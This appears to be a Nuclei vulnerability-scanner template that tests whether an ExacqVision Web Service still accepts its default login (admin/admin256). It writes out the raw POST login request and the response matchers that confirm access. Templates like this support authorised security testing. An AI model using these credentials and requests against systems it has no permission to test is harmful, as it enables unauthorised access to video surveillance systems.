id: exacqvision-default-login

info:
  name: ExacqVision Default Login
  author: ELSFA7110
  severity: high
  description: ExacqVision Web Service default login credentials (admin/admin256) were discovered.
  reference:
    - https://cdn.exacq.com/auto/manspec/files_2/exacqvision_user_manuals/web_service/exacqVision_Web_Service_Configuration_User_Manual_(version%208.8).pdf
  classification:
    cwe-id: cwe-798
  metadata:
    max-request: 1
  tags: exacqvision,default-login

http:
  - raw:
      - |
        POST /service.web HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Connection: close

        action=login&u={{username}}&p={{password}}

    payloads:
      username:
        - admin
      password:
        - admin256
    attack: pitchfork

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - "application/json"

      - type: word
        part: body
        condition: and
        words:
          - '"auth":'
          - '"success": true'

# digest: 490a00463044022038ccb4009e1ac3a0d2c62ec1b183d9bc9c4a35bf19c1f2a4389a971af982cdd10220143d0e3a6e638cdcc1a026cf2f357281a6c9cd659111ac7caa19f080f9fe3eac:922c64590222798bb761d5b6d8e72950
